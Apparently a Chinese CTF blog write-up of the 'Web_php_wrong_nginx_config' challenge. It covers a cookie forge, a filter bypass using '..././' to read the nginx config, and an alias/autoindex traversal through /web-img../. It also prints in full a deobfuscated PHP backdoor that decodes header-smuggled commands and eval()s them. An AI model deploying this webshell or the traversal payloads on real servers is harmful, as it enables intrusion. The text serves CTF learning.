Web_php_wrong_nginx_config

Web_php_wrong_nginx_config

进入题目是一个登录界面,拿御剑扫一下:

image-20210318150302083

出来很多,但只有admin管用……

admin有一个please continue……手动发现robots.txt……愣是扫不出来

:hints.php Hack.php

hints告诉我们

image-20210318150619914

应该有一个文件读取的部分……

抓包,cookie里有一个isLogin=0,改成1进入了网站页面:

image-20210318150825792

管理中心页面:image-20210318150858928

这里应该可以读取配置文件……读不出来,原来是过滤了../

双写:

?file=..././..././..././..././etc/nginx/sites-enabled/site.conf&ext=

读取:

image-20210318151131711

按照提示说的,应该是Nginx的配置文件,用nginx-config-formatter-master整理代码:

python nginxfmt.py [filename.conf]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
server {
listen 8080;
## listen for ipv4;
this line is default and implied listen [::]:8080;
## listen for ipv6 root /var/www/html;
index index.php index.html index.htm;
port_in_redirect off;
server_name _;
# Make site accessible from http://localhost/ #server_name localhost;
# If block for setting the time for the logfile if ($time_iso8601 ~ "^(\d{4})-(\d{2})-(\d{2})") { set $year $1;
set $month $2;
set $day $3;
}
# Disable sendfile as per https://docs.vagrantup.com/v2/synced-folders/virtualbox.html sendfile off;
set $http_x_forwarded_for_filt $http_x_forwarded_for;
if ($http_x_forwarded_for_filt ~ ([0-9]+\.[0-9]+\.[0-9]+\.)[0-9]+) {
set $http_x_forwarded_for_filt $1???;
}
# Add stdout logging access_log /var/log/nginx/$hostname-access-$year-$month-$day.log openshift_log;
error_log /var/log/nginx/error.log info;
location / {
# First attempt to serve request as file, then # as directory, then fall back to index.html try_files $uri $uri/ /index.php?q=$uri&$args;
server_tokens off;
}
#error_page 404 /404.html;
# redirect server error pages to the static page /50x.html # error_page 500 502 503 504 /50x.html;
location = /50x.html {
root /usr/share/nginx/html;
}
location ~ \.php$ {
try_files $uri $uri/ /index.php?q=$uri&$args;
fastcgi_split_path_info ^(.+\.php)(/.+)$;
fastcgi_pass unix:/var/run/php/php5.6-fpm.sock;
fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
fastcgi_param SCRIPT_NAME $fastcgi_script_name;
fastcgi_index index.php;
include fastcgi_params;
fastcgi_param REMOTE_ADDR $http_x_forwarded_for;
}
location ~ /\. {
log_not_found off;
deny all;
}
location /web-img {
alias /images/;
autoindex on;
}
location ~* \.(ini|docx|pcapng|doc)$ {
deny all;
}
include /var/www/nginx[.]conf;
}

location这里就是处理路由,location明确不同的节点该如何处理:

deny all 即拒绝访问。也可以allow指定IP访问

root:

location /i/ {

root /data/w3;

}

root的处理结果是:root路径+location路径

请求 http://xxxx/i/top.gif 这个地址时,那么在服务器里面对应的真正的资源是 /data/w3/i/top.gif文件

alias:

location /i/ {

alias /data/w3/;

}

alias的处理结果是:使用alias路径替换location路径

同样请求 http://foofish.net/i/top.gif 时,在服务器查找的资源路径是: /data/w3/top.gif,因为alias会把location后面配置的路径丢弃掉,把当前匹配到的目录指向到指定的目录。

尽管绝大部分配置都看不懂,但知道有一个/web-img的路径,转到根目录的/images中去……

而alias下的是: autoindex on;

Nginx默认是不允许列出整个目录的

如需此功能,打开nginx.conf文件,在location server 或 http段中加入autoindex on

也就是访问这个网页可以实现网站目录遍历

访问:http://111.200.241.244:58533/web-img/

image-20210318153058090

该目录下没有什么文件,访问/web-img../相当于/images/../,可以读到上层的目录

image-20210318160059239

发现hack.php.bak下载读取:

image-20210318160147928

php混淆……离谱

观察一下,关键是利用$f创建了一个函数,输出f并格式化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
<?php

$kh="42f7";
$kf="e9ac";
function x($t,$k) {
$c=strlen($k);
$l=strlen($t);
$o="";
for ($i=0;$i<$l;) {
for ($j=0;($j<$c&&$i<$l);$j++,$i++) {
$o.=$t {
$i
}
^$k {
$j
}
;
}
}
return $o;
}
$r=$_SERVER;
$rr=@$r["HTTP_REFERER"];
$ra=@$r["HTTP_ACCEPT_LANGUAGE"];
if($rr&&$ra) {
$u=parse_url($rr);
parse_str($u["query"],$q);
$q=array_values($q);
preg_match_all("/([\w])[\w-]+(?:;q=0.([\d]))?,?/",$ra,$m);
if($q&&$m) {
@session_start();
$s=&$_SESSION;
$ss="substr";
$sl="strtolower";
$i=$m[1][0].$m[1][1];
$h=$sl($ss(md5($i.$kh),0,3));
$f=$sl($ss(md5($i.$kf),0,3));
$p="";
for ($z=1;$z<count($m[1]);$z++)$p.=$q[$m[2][$z]];
if(strpos($p,$h)===0) {
$s[$i]="";
$p=$ss($p,3);
}
if(array_key_exists($i,$s)) {
$s[$i].=$p;
$e=strpos($s[$i],$f);
if($e) {
$k=$kh.$kf;
ob_start();
@eval(@gzuncompress(@x(@base64_decode(preg_replace(array("/_/","/-/"),array("/","+"),$ss($s[$i],0,$e))),$k)));
$o=ob_get_contents();
ob_end_clean();
$d=base64_encode(x(gzcompress($o),$k));
print("<$k>$d</$k>");
@session_destroy();
}
}
}
}

离谱,php混淆的代码,后面有个eval,大概是一个马……

我太菜了,看不动……

dalao:https://blog.csdn.net/weixin_44604541/article/details/107801811

dalao竟然写了可交互的脚本……离谱:

image-20210318160642217

tql

……wohaocai

作者

inanb

发布于

2021-03-18

更新于

2021-08-23

许可协议


:D 一言句子获取中...